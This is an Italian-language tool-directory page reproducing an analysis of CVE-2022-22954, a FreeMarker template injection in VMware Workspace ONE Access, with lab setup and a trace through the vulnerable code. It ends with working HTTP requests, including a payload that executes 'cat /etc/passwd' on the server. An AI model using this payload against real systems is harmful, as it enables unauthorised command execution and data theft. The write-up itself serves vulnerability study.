Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/nguyenv1nk/cve-2022-22954
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e Formazione
GitHubnguyenv1nk/cve-2022-22954

CVE-2022-22954

CVE-2022-22954 analista

Vedi Repository
14 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Analisi di CVE-2022-22954

Panoramica

Workspace ONE Access (modello di erogazione del workspace come servizio) fornisce autenticazione multi-fattore, single sign-on e accesso condizionato per SaaS, applicazioni web e mobile. CVE-2022-22954 è una vulnerabilità di Server-side Template Injection presente nei prodotti:

  • VMware Workspace ONE Access (Access): v21.08.0.1, 21.08.0.0, 20.10.0.1, 20.10.0.0
  • VMware Identity Manager (vIDM): v3.3.6, 3.3.5, 3.3.4 e 3.3.3
  • VMware vRealize Automation (vRA): v8.x e 7.6
  • VMware Cloud Foundation (VCF): v4.x e 3.x
  • vRealize Suite Lifecycle Manager: 8.x

Configurazione

  1. Scaricare il file ova di VMware Workspace ONE Access Appliance versione 21.08.0.1

  2. Aprire il file con VMware Workstation; la macchina virtuale deve essere posizionata sulla rete NAT

  3. In Networking Properties, è necessario configurare l'Host Name (FQDN)

  4. Al termine del processo di installazione, accedere al percorso https://{{hostname}}:8443/ per procedere con la configurazione della password dell'account dell'applicazione, della password dell'account ssh e del database dell'applicazione L'applicazione viene eseguita su https://{{hostname}}/

  5. Accedere alla macchina virtuale tramite l'account sshuser, passare all'account root Individuare il percorso dell'applicazione in /opt/vmware/horizon/workspace/ Il codice sorgente dell'applicazione si trova nella directory /opt/vmware/horizon/workspacce/webapps

Scarica lo strumento
  • Controllare il file /opt/vmware/horizon/workspace/bin/setenv.sh: si nota che la variabile JAVA_OPTS può essere configurata per il remote debug

  • Aggiungere -agentlib:jdwp=transport=dt_socket,server=y,address=5005,suspend=n a JAVA_OPTS e riavviare il servizio

    root@kitploit:~
     `systemctl restart horizon-workspace.service`
    
  • Analisi del percorso

    Scaricare il file hotfix HW-154129-applyWorkaround.py

    Nella procedura, c'è un passaggio che rimuove il file templates/customError.ftl dall'applicazione.

    Nel file customError.ftl esiste la funzione eval. L'errore Freemarker SSTI può essere sfruttato da qui se è possibile controllare il valore errorObj.

    Nella classe com.vmware.enusercatalog.ui.web.UiErrorController, vediamo che la funzione handleGenericError assegna il valore a errorObj tramite la variabile errorMessage

    Continuiamo a seguire le chiamate di funzione e il parametro errorMessage

    Funzione handleUnauthorizedError

    Funzione getErrorPage

    Nelle due funzioni sendError e sendUnhandledError, il valore di errorMessage viene prelevato dalla proprietà javax.servlet.error.message

    Nella classe com.vmware.endusercatalog.ui.web.UiApplicationExceptionResolver, la proprietà javax.servlet.error.message”* viene valorizzata nella funzione resolverExeption

    La funzione handleAnyGenericExeption è annotata con @ExeptionHandler

    Nella classe com.vmware.endusercatalog.ui.UiApplication, tra i pacchetti marcati con @CommponentScan c'è com.vmware.endusercatalog.auth

    => Le eccezioni in questo pacchetto possono essere intercettate dalla funzione handleAnyGenericExeption

    In com.vmware.endusercatalog.ui.config, l'interceptor AuthContextPopilationInterceptor viene aggiunto con i percorsi /ui, /hub-ui, /hub-ui/byob, /logout, /ui/oauth/verify

    Passando alla classe com.vmware.endusercatalog.auth.interceptor.AuthContextPopulationInterceptor, nella funzione preHandle, l'applicazione riceve i due parametri deviceUdid e deviceType e chiama la funzione authContextBuilder

    Nella classe com.vmware.endusercatalog.auth.interceptor.AuthContext, l'eccezione InvalidAuthContextException viene generata se la condizione this.isValidRequest non è soddisfatta

    Affinché isValidRequest sia soddisfatta, i due parametri this.deviceId e this.deviceType devono essere entrambi vuoti oppure entrambi valorizzati

    => trasmettere un valore per uno solo dei due parametri farà comparire un errore qui

    Inviare la richiesta

    root@kitploit:~
    GET /catalog-portal/ui/oauth/verify?deviceUdid=111 
    

    compare l'errore

    root@kitploit:~
    An unexpected error occurred while processing request with requestId: {0}.
    

    Tornando alla funzione com.vmware.endusercatalog.ui.web.WorkspaceOauth2CodeVerificationController, si nota che l'errore sopra compare a causa della mancanza del parametro richiesto error

    root@kitploit:~
        @GetMapping(
            value = {"/ui/oauth/verify"},
            params = {"error"}
        )
        @ApiOperation(
            value = "authorizeError",
            notes = ""
        )
        public void authorizeError(@ApiParam @RequestParam String error, @ApiParam @RequestParam(name = "error_description") String errorDescription, @ApiParam @RequestParam(defaultValue = "/admin/") String state) {
            LOGGER.debug("Failed to obtain authorization code due to {}:{} received for {}", new Object[]{error, errorDescription, state});
            throw new AuthorizationCodeFailedRetrievalException(new Object[]{error, state});
        }
    

    Inviare di nuovo la richiesta

    root@kitploit:~
    GET /catalog-portal/ui/oauth/verify?error=&deviceUdid=111abc 
    

    il valore di deviceUdid compare nella risposta

    Inserire il parametro che causa l'errore SSTI di Freemarker

    Inviare la richiesta con il valore

    root@kitploit:~
    deviceUdid=${"freemarker.template.utility.Execute"?new()("cat /etc/passwd")}
    

    EXPLOIT

    LINK DI RIFERIMENTO

    • https://kb.vmware.com/s/article/88099
    • https://github.com/DrorDvash/CVE-2022-22954_VMware_PoC/
    • https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection